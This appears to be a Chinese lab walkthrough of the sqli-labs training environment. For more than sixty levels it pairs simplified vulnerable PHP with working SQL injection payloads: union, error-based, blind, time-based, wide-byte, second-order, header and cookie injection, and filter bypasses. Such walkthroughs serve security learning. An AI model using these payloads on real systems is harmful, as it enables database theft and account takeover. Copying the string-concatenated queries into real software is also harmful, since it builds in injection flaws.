本文使用的工具有Navicat,phpstrom,小皮面板,至于安装方法这里不再描述可以,哔哩哔哩搜索一下即可
sqllabs下载地址:https://github.com/Audi-1/sqli-labs
安装方法:解压到小皮面板的www的目录下,在sqllabs的sql-connections目录下的db-creds.inc文件,下图划横线位置设置自己的密码即可,
开启小皮面板的apache以及mysql服务,打开相应的界面
点击横线位置即可,
出现该界面,即为设置成功
less-1
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

从代码角度而言,可以很清楚的看出由单引号闭合,直接使用sql注入的一半流程即可,查询字段,判断回显,数据库——表——列,即可 为 ?id=1' and 1=1 --+
less-2
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于less1而言 ,这个查询语句中并没有单引号,所以直接拼接即可为 ?id=1 and 1=1 --+
less3
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于前两个而言id位置需要‘)闭合,为 ?id=1') and 1=1 --+
less4
代码简写

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于之前需要使用")闭合,为?id=1") and 1=1 --+
less5
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

与less1相同,使用单引号进行闭合,当成功为you are in...为 ?id=1’ and 1=1 --+ 所以只能够使用盲注,延时注入等

less6
代码简写

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){echo 'You are in...........';
}else{print_r(mysql_error());
}

与less5类似,均没有回显,闭合方式和less4一致,为?id=1" and 1=1 --+

less7
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
print($sql);
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){echo 'You are in.... Use outfile......';}else {echo 'You have an error in your SQL syntax';}

没有相关过滤机制,使用?id=1’)) and 1=1 --+ 闭合 注释

less8
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo 'You are in...........';}else{}

这个与less5相同,但是不能够使用报错注入,使用?id=1’ and sleep(3) --+
less9
代码简写

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo 'You are in...........';}else{echo 'You are in...........';}

同less8,使用?id=1' and sleep(3) --+ 进行闭合
less10
代码简写

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo 'You are in...........';}else {echo 'You are in...........';}

同less9,无论查询结果如何都不会现在在页面,使用?id=1" and sleep(3) --+ 进行闭合测试
less11
代码简写

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
print_r($row);if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else{}

使用post接受数据,相较而言,和之前的less1并没有太大的区别,使用username='admin' union select 1,DATABASE() --+ 闭合即可
less12
代码简写

 $uname=$_POST['uname'];$passwd=$_POST['passwd'];$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else  {print_r(mysql_error());}

参数方面使用")闭合,参数为 uname=admin") union select 1,2 -- &passwd=admin
less13
代码简写

if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<img src="../images/flag.jpg"   />';   }else  {print_r(mysql_error());echo '<img src="../images/slap.jpg"   />';     }
}

闭合方法:uname=admin') union select 1,2 --
less14
代码简写

$uname=$_POST['uname'];$passwd=$_POST['passwd'];$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<img src="../images/flag.jpg" />';    }else  {echo '<img src="../images/slap.jpg"  />';    }

方法类似,闭合方法为 uname=admin" union select 1,2 --

less15
代码简写

 $uname=$_POST['uname'];$passwd=$_POST['passwd'];@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<img src="../images/flag.jpg"  />';   }else  {echo '<img src="../images/slap.jpg"   />';   }

闭合方法为:uname=admin' union select 1,2 -- &passwd=admin

less16
代码简写

 $uname=$_POST['uname'];$passwd=$_POST['passwd'];$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<img src="../images/flag.jpg"  />';  }else  {echo '<img src="../images/slap.jpg"  />';    }

闭合方法为:uname=admin") union select 1,2 -- &passwd=admin
less17
代码简写

function check_input($value){$value = substr($value,0,15);$value = "'" . mysql_real_escape_string($value) . "'";}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){;   $row1 = $row['username'];    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);if (mysql_error()){print_r(mysql_error());}else{}echo '<img src="../images/flag1.jpg"   />';    }else  {echo '<img src="../images/slap1.jpg"   />';}
}

用户名处有check_input进行检测,无法进行检测,passwd位置可以进行报错注入,为:uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b) -- #

less18
代码简写

function check_input($value){$value = substr($value,0,20);// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];echo 'Your IP ADDRESS is: ' .$IP;
if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);echo 'Your User Agent is: ' .$uagent;print_r(mysql_error());         ;echo '<img src="../images/flag.jpg"  />';}else{print_r(mysql_error());echo '<img src="../images/slap.jpg"   />'; }}

UA处没有进行过滤 ,代码类似于less17
使用 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 或者 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '闭合

less19
代码简写

function check_input($value){$value = substr($value,0,20);// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}$uagent = $_SERVER['HTTP_REFERER'];$IP = $_SERVER['REMOTE_ADDR'];echo "<br>";echo 'Your IP ADDRESS is: ' .$IP;echo "<br>";//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";mysql_query($insert);   echo 'Your Referer is: ' .$uagent;print_r(mysql_error());         echo '<img src="../images/flag.jpg" />';         }else{  print_r(mysql_error());echo '<img src="../images/slap.jpg"  />'; }}

和less18的区别为$uagent该参数获取的值不同,less18为UA头,less19为referer,但是采用的闭合方式一致,使用 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 或者 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '闭合

less20
代码简写

$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

闭合方法:uname=-admin' union select 1,2,database() --+

less21
代码简写

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

闭合方法:uname=-admin') union select 1,2,database() -- base编码为uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICAtLQ==

less22
代码简写

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result=mysql_query($sql);

与less21类似,闭合方式不一致,采用双引号进行闭合,闭合方法:uname=-admin" union select 1,2,database() -- base编码为uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgIC0tIA==

less23
代码简写

$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

流程为将插入的内容取消 # 以及--,去掉sql语句的注释符,使其无法闭合,可以通过新增条件进行闭合,为:?id=-1' union select 1,database(),3 and '1'='1

less24
代码简写

login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);login_create.php
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";pass_change.php
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

主界面由于mysql_real_escape_string的过滤,将单引号,双引号等进行转义,无法进行注入,注册界面以及修改密码界面,由于注册界面以及修改密码见面的闭合方式不一样,可以达到二次注入的目的,创建admin'#用户,sql语句依次为

insert into users ( username, password) values("admin'#", "admin") #这里为双引号
SELECT * FROM users WHERE username='admin' # and password='$password'后面被注释,但还是需要输入
UPDATE users SET PASSWORD='123456' where username='admin' # and password='admin' # 注释符#后面被注释

就实现了修改admin用户密码的功能

less25
代码简写

$id=$_GET['id'];
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

将输入字符中的or和and替换为空,忽略or和and的大小写,可以使用双写进行绕过,当然了 你要是用联合查询 ?id=-1' union select 1,2,3 --+也是可以的

less25a
代码简写

$id=$_GET['id'];
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

与less25雷同,sql语句处没有单引号闭合,绕过方法一致,?id=-1 union select 1,2,3 --+

less-26
代码简写

$id=$_GET['id'];$id= preg_replace('/or/i',"", $id);          //移除 OR (不分大小写)$id= preg_replace('/and/i',"", $id);        //移除 AND (不分大小写)$id= preg_replace('/[\/\*]/',"", $id);     //移除 /*$id= preg_replace('/[--]/',"", $id);        //移除 --$id= preg_replace('/[#]/',"", $id);         //移除#$id= preg_replace('/[\s]/',"", $id);      //移除 spaces$id= preg_replace('/[\/\\\\]/',"", $id);        //移除 slash
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

去除空格采用括号代替,1'aandnd(updatexml(1,concat(0x7e,(database()),0x7e),1))aandnd',查询语句变为

SELECT * FROM users WHERE id='1'and(updatexml(1,concat(0x7e,(database()),0x7e),1))and'' LIMIT 0,1  //报错注入

less26a
代码简写

$id=$_GET['id'];$id= preg_replace('/or/i',"", $id);          //移除 OR (不分大小写)$id= preg_replace('/and/i',"", $id);        //移除 AND (不分大小写)$id= preg_replace('/[\/\*]/',"", $id);     //移除 /*$id= preg_replace('/[--]/',"", $id);        //移除 --$id= preg_replace('/[#]/',"", $id);         //移除#$id= preg_replace('/[\s]/',"", $id);      //移除 spaces$id= preg_replace('/[\/\\\\]/',"", $id);        //移除 slash
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

无法使用报错注入,并未输出mysql_error();
类似为 ?id=')%0bunion%0bselect%0b1,database(),3%0b||1=('1,
less27
代码简写

$id=$_GET['id'];
$id= preg_replace('/[\/\*]/',"", $id);     //strip out /*
$id= preg_replace('/[--]/',"", $id);       //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/union/s',"", $id);     //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);     //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);     //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合方法为:?id='%0auniunionon%0asELECt%0a1,database(),3%0aand'

less27a
代码简写

$id=$_GET['id'];
$id = '"' .$id. '"';
$id= preg_replace('/[\/\*]/',"", $id);     //strip out /*
$id= preg_replace('/[--]/',"", $id);       //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/union/s',"", $id);     //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);     //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);     //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out Select
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

闭合方法为:?id="%0auniunionon%0asELECt%0a1,database(),3%0aand%0a"

less28
代码简写

$id=$_GET['id'];
$id= preg_replace('/[\/\*]/',"", $id);             //strip out /*
$id= preg_replace('/[--]/',"", $id);               //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);       //Strip out UNION和SELECT,简单的说 就是把union,select以及中间的字符替换为空.
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合方法为: ?id=1')%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aand%0a('

less28a
代码简写

$id=$_GET['id'];
$id= preg_replace('/union\s+select/i',"", $id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

同上:

?id=')%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aand%0a('

less-29

index.php$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";login.php$id=$_GET['id'];
if($match = preg_match("/^\d+$/", $id);){ //检测是否为整数
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";}

index.php 单引号闭合就可以,关于login.php涉及参数污染,简单的说就是后台处理机制对同名参数的处理方式不当,接受的数据不同
闭合方法为:?id=1&id=-1' union select 1,2,3 --+

less-30
与less-29类似 index.php与index.php一致,login.php同login.php类似,

$id = '"' .$id. '"';

将单引号变成双引号闭合即可

less31
和以上两种基本相同,不同点在于闭合方法

index.php
?id=-1") union select 1,2,3 --+
login.php
?id=1&id=-1") union select 1,2,3 --+

less32
代码简写

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
mysql_query("SET NAMES gbk");

是将//,',"三种符号替换为其他字符,为宽字节注入,本质上还是闭合引号, ?id=0%df' union select 1,database(),3 --+ 由于过滤的原因,单引号会变成//'
sql搜索语句变为

select *from users WHERE id='0 %df\\'  union select 1,database(),3

less33
与less32一致,只不过换为了addslashes()进行过滤,利用方法也一致

?id=0%df'  union select 1,database(),3 --+

less34
代码简写

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
mysql_query("SET NAMES gbk");
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

与之前两个类似,不同点在于,接受参数方式不同,闭合方式为:uname=0%df' union select 1,database() --+ &passwd=admin
这里有一个问题,直接在name位置输入0%df' union select 1,database() --+实际上并没有用,因为post传输中会把%转换为%25最后带入到sql语句中就会报错

less35
代码简写

$id=addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

该sql语句并无引号需要闭合,使用简单的联合查询即可?id=-1 union select 1,database(),3 --

less36
代码简写


$id=mysql_real_escape_string($_GET['id']); //转义特殊字符
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合方法相同与上面几个: ?id=0 %df’ union select 1,database(),3 --+

less38
代码简写

$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))// 执行查询
{/* store first result set */if ($result = mysqli_store_result($con1)) //转移上一次查询返回的结果集{if($row = mysqli_fetch_row($result))//函数从结果集中取得一行,并作为枚举数组返回{printf("Your Username is : %s", $row[1]);printf("Your Password is : %s", $row[2]);}}if (mysqli_more_results($con1))//检查批量查询中是否还有查询结果{}
}
else {print_r(mysqli_error($con1));}

整体为:拼接查询,获取第一行作为结果输出,闭合方式和正常联合查询一致,?id=-1' union select 1,2,3 --+,联合查询属于一行,并没有新的数据结果

less39
与less38类似

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

闭合方式:?id=-1 union select 1,2,3 --+

less40

index.php
与less39类似
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合方法为:?id=-1') union select 1,2,3 --+
剩余的同less24 为二次注入,值得注意的是在login.php界面,由于不是gbk编码,无法闭合单引号,

less41
同less39

less42
代码简写

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username=mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

闭合方法为

 login_user=admin&login_password=-admin' union select 1,database(),3 -- +

SQL语句为SELECT * FROM users WHERE username='admin' and password='-admin' union select 1,DATABASE(),3 -- +'

less43
同less42类似
区别为

 $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

闭合方法为:

login_user=admin&login_password=-admin') union select 1,database(),3 -- +

less44
同less42

less45
同less43

less46
代码简写

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

这里采用报错注入,sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
当然了 sort=(updatexml(1,concat(0x7e,(select user()),0x7e),0))#也是可以的

less47
与less46类似,

$sql = "SELECT * FROM users ORDER BY '$id'";

sort=' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) -- +
当然了 ?sort=' and (updatexml(1,concat(0x7e,(select user()),0x7e),0)) -- +

less48

由于没有mysql_erorr()函数,这里不能够使用报错注入,由于该注入点位于order by参数中,所以布尔注入无法成功,测试发现,布尔注入会成功在where条件中,在order by参数中不会成功,并且由于是order by参数,每一条数据都会经过延时,注意别设置太长延时,避免页面超时

?sort=1  and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less-49
区别点在于

$sql = "SELECT * FROM users ORDER BY '$id'";

加个单引号闭合即可,?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less50
同less46

less51
同less47

less52
同less48

less53
同less49

less54
使用正常的联合查询即可,但是由于次数的限制,需要加上group_concat()函数将查询出来的函数进行拼接

?id=-1' union select 1,database(),3 -- +  //暴数据库名称
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- + //暴表名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2sej78a0ql' -- +//暴列名
?id=-1' union select 1,database(),secret_DWA7 from challenges.2sej78a0ql -- + //暴数据

less55
区别为:$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1"使用)闭合即可

less56

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

使用')闭合

less57

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

使用双引号闭合即可,

less58
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);//返回单元顺序相反的数组
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
print_r(mysql_error());

并无相关数据的输出,但是存在mysql_error(),使用报错注入,

updatexml,
?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)  -- +?id=1' and updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges')),0x7e)  -- +?id=1' and updatexml(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ebp020nhtr')),0x7e)  -- +?id=1' and updatexml(0x7e,concat(0x7e,(select secret_2IEK from challenges.ebp020nhtr)),0x7e)  -- +extractvalue报错
?id=1' and extractvalue(0x7e,concat(0x7e,database()))  -- +floor报错
?id=-1' union select 0x7e,count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a --

剩下两种替换database()即可

less59
同上,区别为$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
无需单引号闭合,

less60
同上,区别为 $id = '("'.$id.'")';使用双引号和小括号")闭合

less61
同上,区别为$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
使用'))进行闭合

less62
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
//              print_r(mysql_error());

无法使用报错注入,只能够使用盲注,同less48

?id=1') and ascii(substr((select database()),1,1))>150 -- +
// 或者
?id=1')  and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less63

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

单引号闭合

less64

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

双括号闭合

less65

$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

双引号加括号闭合

sql—labs通关相关推荐

  1. sqlmap使用_sqlmap于sql labs下使用

    本文主要是写sqlmap在sql labs下的使用学习记录,目的在于模拟黑盒测试,不太在意原理.(当然,原理还是要学习好才这么干的.) 不得不说收获还是蛮大的.首先推荐下sqlmap使用的学习视频. ...

  2. D10 sql labs

    1 1.1 通过屏幕的显示进行下面的输入 即可得到结果 1.2 ?id=1' and 1=2 union select 1,version(),database() --+ 可以得到下面的信息 1.3 ...

  3. Pikachu靶场—sql注入通关

    Pikachu靶场-SQL注入篇 前言 一.数字型注入 二.字符型注入 三.搜索型注入 四.XX型注入 五.insert注入 六.delete注入 七.http header注入 八.盲注:基于布尔盲 ...

  4. BWAPP之SQL注入通关

    1.SQL injection(GET/search) low 输入单引号直接报错,说明有注入点 直接order by二分法得出主查询字段数为7 直接union注入,测出回显点为2,3,4,5 查数据 ...

  5. upload -labs通关解析及上传类型总结和思考

    Pass-01(客户端JS绕过) 客户端JS判断方法:上传一个php文件,用bp抓包,如果没抓到包就弹框说不能上传,就说明是客户端JS检测 客户端JS绕过方法: 方法一: 上传一个图片马格式为jpg, ...

  6. WebGoat通关攻略与详细解析——SQL Injection(intro)篇

    写在前面: 目前WebGoat通关攻略与详细解析处于持续更新中,若大家在阅读的过程中发现什么问题或者有什么建议,都可以在发布在评论区或私信我,我们一起共同探讨! 由于所有通关攻略写在一起导致篇幅太长, ...

  7. 攻防系列——pikachu靶场通关练习

    目录 一.暴力破解 Burte Force(暴力破解)概述 (一)基于表单的暴力破解 (二)验证码绕过(on server) (三)验证码绕过(on client) (四)token 防爆破 二.Cr ...

  8. web基础漏洞之SQL注入漏洞

    先看菜鸟教程中HTTP的知识,HTTP是为了保证客户端与服务器之间的通信.HTTP的请求方法有两种:GET和POST.GET是从服务器上获得数据,POST是向服务器传递数据. Web 程序三层架构: ...

  9. DVWA通关--存储型XSS(XSS (Stored))

    目录 LOW 通关步骤 源码分析 MEDIUM 通关步骤 源码分析 HIGH 通关步骤 源码分析 IMPOSSIBLE 源码分析 存储型XSS也叫持久型XSS,从名字就知道特征是攻击代码会被存储在数据 ...

最新文章

  1. 如何成为一家真正发挥大数据作用的 “数据驱动型公司”?
  2. 云栖收官:想跟远道而来的朋友们说
  3. 深度残差网络和Highway网络
  4. 域netbios名什么意思_域渗透(二):域环境搭建
  5. kafka通过控制台模拟消息发送和消息接收正常,但是通过javaAPI操作生产者发送消息不成功 消费者接收不到数据解决方案?
  6. const 指针_C语言学习日记(11)——const与指针
  7. 业务异常 java_java – 具有业务异常的Hystrix断路器
  8. 浅析error LNK2001: unresolved external symbol public: __thisc...
  9. 初中英语和计算机融合的教学案例,信息技术与中学英语整合课教学案例
  10. Android车牌识别sdk开发包,基于Android和iOS平台的车牌识别SDK开发包
  11. QT 5.9.5的快捷键操作
  12. 基于simulink的Active anti-islanding-AFD主动反孤岛模型仿真
  13. 大数据处理中心什么意思_什么是数据处理中心或数据中心
  14. 阿里知产研究院报告:侵犯知识产权行为的罪与罚 | 湖畔新知汇
  15. java代码实现流程中的会签_Activiti实现会签功能
  16. iphone8验证服务器出错,某平台上买的“全新国行正品iphone8手机,支持官方验证”用了不到两个月坏了...
  17. java整型数组转置输出,Java实现数组转置
  18. 将Unity场景以Wavefront Obj格式导出
  19. MTK led闪烁改为呼吸灯模式
  20. 主流的linux系统有哪些

热门文章

  1. 网易互娱C++岗一面面经(凉面)
  2. win10后端开发环境搭建
  3. 三菱 plc远程调试及上下载方法
  4. C语言程序设计会员计费系统,C语言课程设计酒店房间登记与计费管理系统总结报告...
  5. qq邮箱 添加 gmail_将您的Gmail添加到Windows Live Mail
  6. opencv 通过标定摄像头测量物体大小_解决方案 | 如何用普通手机准确测量物体体积?...
  7. Oralce数据库断电之ORA-00600: 内部错误代码, 参数: [kcratr_nab_less_than_odr], [1], [37]
  8. Adversarial Personalized Ranking for Recommendation(个人笔记)
  9. Python入门学习——DAY01
  10. 摆扫式(whisk broom)和推扫式(push broom)卫星传感器